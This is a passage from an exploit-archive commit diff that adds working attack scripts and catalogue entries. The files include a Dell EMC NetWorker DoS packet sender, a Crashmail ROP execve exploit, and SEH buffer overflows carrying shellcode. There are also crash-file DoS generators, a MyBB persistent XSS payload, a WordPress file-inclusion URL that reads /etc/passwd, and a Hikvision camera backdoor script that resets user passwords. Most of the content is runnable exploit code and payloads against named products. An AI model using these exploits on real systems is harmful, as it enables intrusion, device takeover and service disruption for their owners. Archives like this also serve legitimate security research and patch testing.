AAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAA
BG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAA
AAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAAB
cwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUA
AAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAA
AAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAA
AAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9u
dGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAA
B01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJp
b2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAAB
AAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwA
AAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEA
AAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJp
ZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAA
AQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAA
AAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAF
TW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAAB
AAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZw
ZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAA
AAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1
bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAA
AAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3Zl
cnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAA
AAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkA
AAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEA
AAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUA
AAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAA
AAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAA
AAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAA
BGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24A
AAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAI
b3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAA
AAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRo
bHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAA
AAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAAAAAAAAAAAAABAAAABG5h
bWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAABAAAABGZ1bGwAAAAAAAAA
AQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0b24AAAAAAAEAAAABcwAA
AAAAAAAAAAABAAAABG5hbWUAAAABAAAAB01vbnRobHkAAAAAAAAAAAEAAAAIb3ZlcnJpZGUAAAAB
AAAABGZ1bGwAAAAAAAAAAQAAAAZwZXJpb2QAAAAAAAEAAAAFTW9udGgAAAAAAAAAAAAAAQAAAAR0
eXBlAAAAAQAAAAxOU1Igc2NoZWR1bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA="""
part2 = """gAABBEoWuaoAAAAAAAAAAgAF890AAAACAAAAaAAAdT0AAAAIAAAAAgAAAGgAAHU9AAAACAAAAAFa
FWVkdWxlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIABfPdAAAAAgAAAGgAAHU9AAAACAAAAAFa
FWVkdWxlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="""
hello = """gAACuFkQrJUAAAAAAAAAAgAF89cAAAACAAAAfAAAAAEAAAAgWhbtaAAAAAdhYWFhYWFhAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAduc3JzdGF0AAAAAAFaFu1oWhbtaAAAAANuaXMAAAAABihub25lKQAAAAAAAAAAAAdhYWFhYWFhAAAAAAAAAAAEcm9vdAAAAAEAAAAEcm9vdAAAAAEAAAALYXV0aCBzZXJ2ZXIAAAAAAQAAAA0xMTEuMTExLjEuMTExAAAAAAAAAAAAAAEAAAAIaG9zdG5hbWUAAAABAAAADTExMS4xMTEuMS4xMTEAAAAAAAAAAAAAAQAAAAZsb2NhbGUAAAAAAAEAAAEYTENfQ1RZUEU9ZW5fVVMuVVRGLTg7TENfTlVNRVJJQz1wbF9QTC5VVEYtODtMQ19USU1FPXBsX1BMLlVURi04O0xDX0NPTExBVEU9ZW5fVVMuVVRGLTg7TENfTU9ORVRBUlk9cGxfUEwuVVRGLTg7TENfTUVTU0FHRVM9ZW5fVVMuVVRGLTg7TENfUEFQRVI9cGxfUEwuVVRGLTg7TENfTkFNRT1lbl9VUy5VVEYtODtMQ19BRERSRVNTPWVuX1VTLlVURi04O0xDX1RFTEVQSE9ORT1lbl9VUy5VVEYtODtMQ19NRUFTVVJFTUVOVD1wbF9QTC5VVEYtODtMQ19JREVOVElGSUNBVElPTj1lbl9VUy5VVEYtOAAAAAAAAAABAAAADUxvY2FsT1NfQWRtaW4AAAAAAAABAAAAA1llcwAAAAAAAAAAAQAAABJPTkMgcHJvZ3JhbSBudW1iZXIAAAAAAAEAAAAGMzkwMTA5AAAAAAAAAAAAAQAAABJPTkMgdmVyc2lvbiBudW1iZXIAAAAAAAEAAAABMgAAAAAAAAAAAAAAAAAAAAo="""
res = ''
if nsrd_port == 0:
for i in range(7000,10000):
try:
sys.stdout.write('.')
s = socket.socket()
s.connect((nsrd_addr, i))
s.send(base64.b64decode(hello))
res = s.recv(4096)
if '111.111.1.111' in res:
print "\n\033[31m[!] NSRD FOUND ON PORT: %d\033[0m" % i
nsrd_port = i
s.close()
break
s.close()
except Exception:
pass
print "\n[!] SENDING DOS PACKETS"
s = socket.socket()
s.connect((nsrd_addr, nsrd_port))
s.send(base64.b64decode(part1))
s.recv(256)
s.close()
time.sleep(1)
s = socket.socket()
s.connect((nsrd_addr, nsrd_port))
s.send(base64.b64decode(part2))
s.recv(256)
s.close()
print "\nDONE."

58
exploits/linux/local/44331.py Executable file
View file

@ -0,0 +1,58 @@
# Exploit author: Juan Sacco <jsacco@exploitpack.com>
# Website: http://exploitpack.com
#
# Description: Crashmail is prone to a stack-based buffer overflow because the application fails to perform adequate boundary checks on user supplied input.
# Impact: An attacker could exploit this vulnerability to execute arbitrary code in the context of the application. Failed exploit attempts may result in a denial-of-service condition.
# Vendor homepage: http://ftnapps.sourceforge.net/crashmail.html
# Affected version: 1.6 ( Latest )
import os, subprocess
from struct import pack
p = lambda x : pack('I', x)
IMAGE_BASE_0 = 0x08048000 # ./crashmail
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
# Control of EIP at 216
# ROP chain: execve ( binsh )
# Static-linked
junk = 'A'*216 # Fill
ropchain = rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;
ropchain += '//bi'
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;
ropchain += rebase_0(0x000e9060)
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;
ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;
ropchain += 'n/sh'
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;
ropchain += rebase_0(0x000e9064)
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;
ropchain += rebase_0(0x000391a0) # 0x080811a0: xor eax, eax; ret;
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;
ropchain += rebase_0(0x000e9068)
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;
ropchain += rebase_0(0x000001f9) # 0x080481f9: pop ebx; ret;
ropchain += rebase_0(0x000e9060)
ropchain += rebase_0(0x000e0e80) # 0x08128e80: pop ecx; push cs; adc
al, 0x41; ret;
ropchain += rebase_0(0x000e9068)
ropchain += rebase_0(0x000705aa) # 0x080b85aaop edx; ret;
ropchain += rebase_0(0x000e9068)
ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;
ropchain += p(0xfffffff5)
ropchain += rebase_0(0x00051dc7) # 0x08099dc7: neg eax; ret;
ropchain += rebase_0(0x00070e80) # 0x080b8e80: int 0x80; ret;
evil_buffer = junk + ropchain
print "[*] Exploit Pack http://exploitpack.com - Author: jsacco@exploitpack.com"
print "[*] Crashmail 1.6 - BoF ( ROP execve)"
print "[?] Payload can be read trough a file or STDIN"
try:
subprocess.call(["./crashmail","SETTINGS", evil_buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "[!] Crashmail not found"
else:
print "[*] Error executing exploit"
raise

154
exploits/php/webapps/44336.py Executable file
View file

File diff suppressed because one or more lines are too long

23
exploits/php/webapps/44339.txt Normal file
View file

@ -0,0 +1,23 @@
# Exploit Title: MyBB Last User's Threads in Profile Plugin v1.2 - Persistent XSS
# Date: 3/19/2018
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com
# Software Link: https://community.mybb.com/mods.php?action=view&pid=910
# Version: v1.2
# Tested on: Ubuntu 17.10
1. Description:
Display last threads in user profile.
2. Proof of Concept:
Persistent XSS
- Create a thread with the following subject <p """><SCRIPT>alert("XSS")</SCRIPT>">
- Now visit your profile to see the alert.
3. Solution:
Patch: https://github.com/vintagedaddyo/MyBB_Plugin_Last-User-s-Threads-in-Profile/commit/5e3b81450d0bf7935885db2622f1a42e5961258d

45
exploits/php/webapps/44340.txt Normal file
View file

@ -0,0 +1,45 @@
Product: Site Editor Wordpress Plugin - https://wordpress.org/plugins/site-editor/
Vendor: Site Editor
Tested version: 1.1.1
CVE ID: CVE-2018-7422
** CVE description **
A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.
** Technical details **
In site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php:5, the value of the ajax_path parameter is used for including a file with PHP’s require_once(). This parameter can be controlled by an attacker and is not properly sanitized.
Vulnerable code:
if( isset( $_REQUEST['ajax_path'] ) && is_file( $_REQUEST['ajax_path'] ) && file_exists( $_REQUEST['ajax_path'] ) ){
require_once $_REQUEST['ajax_path'];
}
https://plugins.trac.wordpress.org/browser/site-editor/trunk/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?rev=1640500#L5
By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.
** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
** Solution **
No fix available yet.
** Timeline **
03/01/2018: author contacted through siteeditor.org's contact form; no reply
16/01/2018: issue report filled on the public GitHub page with no technical details
18/01/2018: author replies and said he replied to our e-mail 8 days ago (could not find the aforementioned e-mail at all); author sends us "another" e-mail
19/01/2018: report sent; author says he will fix this issue "very soon"
31/01/2018: vendor contacted to ask about an approximate release date and if he needs us to postpone the disclosure; no reply
14/02/2018: WP Plugins team contacted; no reply
06/03/2018: vendor contacted; no reply
07/03/2018: vendor contacted; no reply
15/03/2018: public disclosure
** Credits **
Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).
--
Best Regards,
Nicolas Buzy-Debat
Orange Cyberdefense Singapore (CERT-LEXSI)

37
exploits/windows/dos/44333.py Executable file
View file

@ -0,0 +1,37 @@
#!/usr/bin/python
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: WM Recorder 16.8.1 - Denial of Service
# Date: 03-20-2018
# Vulnerable Software: WM Recorder 16.8.1
# Vendor Homepage: http://wmrecorder.com/home/
# Version: 16.8.1
# Software Link: http://wmrecorder.com/download/wm-recorder/
# Tested On: Windows 7 x86/x64, Windows 10 x64
#
#
# PoC: generate crash.txt, open app, go to Schedule Recordings, Open Scheduler, paste crash.txt contents in Stream URL, File name and Website URL,
# change End Recording date to future date, turn scheduler on, select OK
#
# app crashes & EIP overwrite;
# !mona seh > no ppr pointers & !mona seh -all > all aslr/safeseh
# lots of bad chars including \x90
#
filename="crash.txt"
junk = "\x41"*429
nseh = "\x42"*4
seh = "\x43"*4
fill = "\x44"*9562
buffer = junk + nseh + seh + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

23
exploits/windows/dos/44338.py Executable file
View file

@ -0,0 +1,23 @@
#!/usr/bin/python
###########################################################################################
# Exploit Title : Easy Avi Divx Xvid to DVD Burner v2.9.11 - Local Denial of Service #
# Exploit Author : Hashim Jawad #
# Twitter : @ihack4falafel #
# Author Website : ihack4falafel[.]com #
# Vendor Homepage : http://www.divxtodvd.net/index.htm #
# Vulnerable Software: http://www.divxtodvd.net/easy_divx_to_dvd.exe #
# Tested on OS : Windows XP professional SP3 #
# Windows 10 professional 64-bit #
# Steps to reproduce : Add Evil.AVI and BOOM! #
###########################################################################################
buffer = "A" * 500
try:
f=open("Evil.AVI","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

58
exploits/windows/local/44330.py Executable file
View file

@ -0,0 +1,58 @@
# SWAMI KARUPASAMI THUNAI
###############################################################################
# Exploit Title: Allok Video Converter - Buffer Overflow Vulnerability (Windows XP SP3)
# Date: 06-03-2018
# Exploit Author: Mohan Ravichandran & Velayutham Selvaraj
# Organization : TwinTech Solutions
# Vulnerable Software: Allok Video Converter
# Vendor Homepage: http://www.alloksoft.com
# Version: 4.6.1217
# Software Link: http://www.alloksoft.com/allok_vconverter.exe
# Tested On: Windows XP Service Pack 3 (Version 2002)
#
# Credit to Velayutham Selvaraj for discovering the Vulnerbility
# Vulnerability Disclosure Date : 2018-03-06
#
# Manual steps to reproduce the vulnerability ...
#1. Download and install the "setup(allok_vconverter.exe)" file
#2. Run this exploit code via python 2.7
#3. A file "exploit.txt" will be created
#4. Copy the contents of the file and paste in the License Name field
# Name > exploit.txt
#5. Type some random character in License Code
#6. Click Register and voila !
#7. Boom calculator opens
#
##############################################################################
import struct
file = open("exploit.txt","wb")
buflen = 4000
junk = "A" * 780
nseh = "\x90\x90\xeb\x10"
seh = struct.pack("<L",0x10019A09)
nops = "\x90" * 20
# The below shellcode will open calculator, but can be modified by need.
shellcode = ""
shellcode +="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
shellcode +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
shellcode +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
shellcode +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
shellcode +="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
shellcode +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
shellcode +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
shellcode +="\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
shellcode +="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
shellcode +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
shellcode +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
shellcode +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
shellcode +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
shellcode +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
shellcode +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
shellcode +="\xc4\xd9"
exploit = junk + nseh + seh + nops + shellcode
fillers = buflen - len(exploit)
buf = exploit + "D" * fillers
file.write(buf)
file.close()

57
exploits/windows/local/44337.py Executable file
View file

@ -0,0 +1,57 @@
#!/usr/bin/python
###############################################################################
# Exploit Title : Easy CD DVD Copy v1.3.24 - Local Buffer Overflow (SEH) #
# Exploit Author : Hashim Jawad #
# Twitter : @ihack4falafel #
# Author Website : ihack4falafel[.]com #
# Vendor Homepage : http://www.divxtodvd.net/index.htm #
# Vulnerable Software: http://www.divxtodvd.net/easy_cd_dvd_copy.exe #
# Tested on OS : Windows XP professional SP3 - (996 bytes offset) #
# Windows 7 Enterprise SP1 - (1008 bytes offset) #
# Windows 10 Professional 64bit - (988 bytes offset) #
# Steps to reproduce : #
# ~ Copy the content of OpenMe.txt #
# ~ Click on Register #
# ~ Paste content in "Enter User Name" field #
###############################################################################
import struct
#root@kali:~# msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python -v shellcode (220 bytes)
shellcode = ""
shellcode += "\xbf\xc6\xde\x94\x3e\xda\xd0\xd9\x74\x24\xf4\x5d"
shellcode += "\x31\xc9\xb1\x31\x31\x7d\x13\x03\x7d\x13\x83\xc5"
shellcode += "\xc2\x3c\x61\xc2\x22\x42\x8a\x3b\xb2\x23\x02\xde"
shellcode += "\x83\x63\x70\xaa\xb3\x53\xf2\xfe\x3f\x1f\x56\xeb"
shellcode += "\xb4\x6d\x7f\x1c\x7d\xdb\x59\x13\x7e\x70\x99\x32"
shellcode += "\xfc\x8b\xce\x94\x3d\x44\x03\xd4\x7a\xb9\xee\x84"
shellcode += "\xd3\xb5\x5d\x39\x50\x83\x5d\xb2\x2a\x05\xe6\x27"
shellcode += "\xfa\x24\xc7\xf9\x71\x7f\xc7\xf8\x56\x0b\x4e\xe3"
shellcode += "\xbb\x36\x18\x98\x0f\xcc\x9b\x48\x5e\x2d\x37\xb5"
shellcode += "\x6f\xdc\x49\xf1\x57\x3f\x3c\x0b\xa4\xc2\x47\xc8"
shellcode += "\xd7\x18\xcd\xcb\x7f\xea\x75\x30\x7e\x3f\xe3\xb3"
shellcode += "\x8c\xf4\x67\x9b\x90\x0b\xab\x97\xac\x80\x4a\x78"
shellcode += "\x25\xd2\x68\x5c\x6e\x80\x11\xc5\xca\x67\x2d\x15"
shellcode += "\xb5\xd8\x8b\x5d\x5b\x0c\xa6\x3f\x31\xd3\x34\x3a"
shellcode += "\x77\xd3\x46\x45\x27\xbc\x77\xce\xa8\xbb\x87\x05"
shellcode += "\x8d\x34\xc2\x04\xa7\xdc\x8b\xdc\xfa\x80\x2b\x0b"
shellcode += "\x38\xbd\xaf\xbe\xc0\x3a\xaf\xca\xc5\x07\x77\x26"
shellcode += "\xb7\x18\x12\x48\x64\x18\x37\x2b\xeb\x8a\xdb\x82"
shellcode += "\x8e\x2a\x79\xdb"
buffer = "A" * 988 # Junk
buffer += "\xeb\x14\x90\x90" # + nSEH (Jump Code)
buffer += struct.pack('<L', 0x10037b11) # + SEH (pop ebx # pop eax # ret | [SkinMagic.dll])
buffer += "\x90" * 50 # + NOP
buffer += shellcode # + shellcode
buffer += "\x90" * 50 # + NOP
try:
f=open("OpenMe.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

98
exploits/xml/webapps/44328.py Executable file
View file

@ -0,0 +1,98 @@
# Exploit Title: Hikvision IP Camera versions 5.2.0 - 5.3.9 (Builds: 140721 - 170109) Backdoor
# Date: 15-03-2018
# Vendor Homepage: http://www.hikvision.com/en/
# Exploit Author: Matamorphosis
# Category: Web Apps
# Description: Exploits a backdoor in Hikvision camera firmware versions 5.2.0 - 5.3.9 (Builds: 140721 - 170109), deployed between 2014 and 2016, to assist the owner recover their password.
# Vulnerability Exploited: ICSA-17-124-01 - http://seclists.org/fulldisclosure/2017/Sep/23
#!/usr/bin/env python
# Usage: python exploit.py [IP Address] [Port] [SSL (Y/N)]
import requests
import re
import sys
# BASIC INFO
newPass = "@Dm1N1$Tr80R" # EXAMPLE OF A PASSWORD COMPLIANT WITH LATER FIRMWARES REQUIRING AT LEAST 2 UPPERCASE, 2 lowercase, and 2 SPECIAL CHARACTERS.
BackdoorAuthArg = "auth=YWRtaW46MTEK"; # AUTHENTICATION KEY.
ip = ""
port = 0
SSL = ""
userID = ""
userName = ""
def Usage():
print("[i] Usage: python exploit.py [IP Address] [Port] [SSL (Y/N)]")
try:
ip = sys.argv[1]
SSL = sys.argv[3]
except:
print("[-] One or more of the arguments is missing.")
Usage()
sys.exit()
ipmatch = re.search(r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", ip) # IP ADDRESS REGULAR EXPRESSION.
if not ipmatch:
print("[-] The entered ip address " + ip + " is not in the correct format.")
Usage()
sys.exit()
try:
port = int(sys.argv[2])
except:
print("[-] The entered port " + sys.argv[2] + " is not a number.")
Usage()
sys.exit()
if (port == 0) or (port > 65535):
print("[-] The entered port " + sys.argv[2] + " is not a valid port number.")
Usage()
sys.exit()
if SSL == "Y":
protocol = "https"
else:
protocol = "http"
URLBase = protocol + "://" + ip + ":" + str(port) + "/" # URL BASE FOR FUTURE REQUESTS.
URLDownload = URLBase + "Security/users?" + BackdoorAuthArg # DOWNLOAD REQUEST.
print("[+] Getting User List.")
DownloadResponse = requests.get(URLDownload).text
for line in DownloadResponse: # RETRIEVING USER LIST
useridmatch = re.search(r"<id>(.*)<\/id>", line) # CHECK FOR USER ID.
usernamematch = re.search(r"<userName>(.*)<\/userName>", line) # CHECK FOR USER NAME.
if useridmatch:
userID = useridmatch.group(1)
print("[+] User ID: " + userID)
if usernamematch:
userName = usernamematch.group(1)
print("[+] Username: " + userName)
userID = raw_input("[?] Which User ID would you like to use? ")
userName = raw_input("[?] Which Username would you like to use? ")
print("[+] Using the User " + userName + ".")
userXML = ( '<User version=""1.0"" xmlns=""http://www.hikvision.com/ver10/XMLSchema"">\r\n<id>' + userID + '</id>\r\n<userName>' + userName + '</userName>\r\n<password>' + newPass + '</password>\r\n</User>' ) # OUR CRAFTED XML CONFIGURATION FILE
#print(userXML)
URLUpload = URLBase + "Security/users/" + userID + "?" + BackdoorAuthArg # UPLOAD REQUEST.
print("[+] Changing Password now.")
print requests.put(URLUpload, data=userXML).text # UPLOAD REQUEST, SENDING THE PAYLOAD.
print("[+] Complete. Please try logging in with these credentials. Username: " + userName + "Password: " + newPass)

13
files_exploits.csv
View file

@ -5910,6 +5910,11 @@ id,file,description,date,author,type,platform,port
44311,exploits/windows_x86-64/dos/44311.cpp,"Microsoft Windows Kernel - 'nt!NtWaitForDebugEvent' 64-bit Stack Memory Disclosure",2018-03-20,"Google Security Research",dos,windows_x86-64,
44312,exploits/windows/dos/44312.js,"Internet Explorer - 'RegExp.lastMatch' Memory Disclosure",2018-03-20,"Google Security Research",dos,windows,
44316,exploits/linux/dos/44316.py,"Kamailio 5.1.1 / 5.1.0 / 5.0.0 - Off-by-One Heap Overflow",2018-03-20,EnableSecurity,dos,linux,5060
44326,exploits/android/dos/44326.py,"Android Bluetooth - BNEP bnep_data_ind() Remote Heap Disclosure",2018-03-23,QuarksLab,dos,android,
44327,exploits/android/dos/44327.py,"Android Bluetooth - BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-of-Bounds Read",2018-03-23,QuarksLab,dos,android,
44332,exploits/linux/dos/44332.py,"Dell EMC NetWorker - Denial of Service",2018-03-23,"Marek Cybul",dos,linux,
44333,exploits/windows/dos/44333.py,"WM Recorder 16.8.1 - Denial of Service",2018-03-23,bzyo,dos,windows,
44338,exploits/windows/dos/44338.py,"Easy Avi Divx Xvid to DVD Burner 2.9.11 - '.avi' Denial of Service",2018-03-23,"Hashim Jawad",dos,windows,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -9610,6 +9615,9 @@ id,file,description,date,author,type,platform,port
44314,exploits/windows/local/44314.ps1,"Microsoft Windows - Desktop Bridge Virtual Registry Arbitrary File Read/Write Privilege Escalation",2018-03-20,"Google Security Research",local,windows,
44315,exploits/windows/local/44315.txt,"Microsoft Windows - Desktop Bridge Virtual Registry NtLoadKey Arbitrary File Read/Write Privilege Escalation",2018-03-20,"Google Security Research",local,windows,
44325,exploits/linux/local/44325.c,"Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak",2018-03-22,"Gregory Draperi",local,linux,
44330,exploits/windows/local/44330.py,"Allok Quicktime to AVI MPEG DVD Converter 4.6.1217 - Stack-Based Buffer Overflow",2018-03-23,"Mohan Ravichandran and Velayutham Selvaraj",local,windows,
44331,exploits/linux/local/44331.py,"Crashmail 1.6 - Stack-Based Buffer Overflow ( ROP execve )",2018-03-23,"Juan Sacco",local,linux,
44337,exploits/windows/local/44337.py,"Easy CD DVD Copy 1.3.24 - Local Buffer Overflow (SEH)",2018-03-23,"Hashim Jawad",local,windows,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -39031,3 +39039,8 @@ id,file,description,date,author,type,platform,port
44317,exploits/hardware/webapps/44317.py,"Intelbras Telefone IP TIP200 LITE - Local File Disclosure",2018-03-20,anhax0r,webapps,hardware,
44318,exploits/php/webapps/44318.txt,"Vehicle Sales Management System - Multiple Vulnerabilities",2018-03-20,Sing,webapps,php,
44324,exploits/multiple/webapps/44324.py,"Cisco node-jos < 0.11.0 - Re-sign Tokens",2018-03-20,zioBlack,webapps,multiple,
44328,exploits/xml/webapps/44328.py,"Hikvision IP Camera versions 5.2.0 - 5.3.9 (Builds 140721 - 170109) - Access Control Bypass",2018-03-23,Matamorphosis,webapps,xml,
44335,exploits/hardware/webapps/44335.js,"TL-WR720N 150Mbps Wireless N Router - Cross-Site Request Forgery",2018-03-23,"Mans van Someren",webapps,hardware,
44336,exploits/php/webapps/44336.py,"XenForo 2 - CSS Loader Denial of Service",2018-03-23,LockedByte,webapps,php,
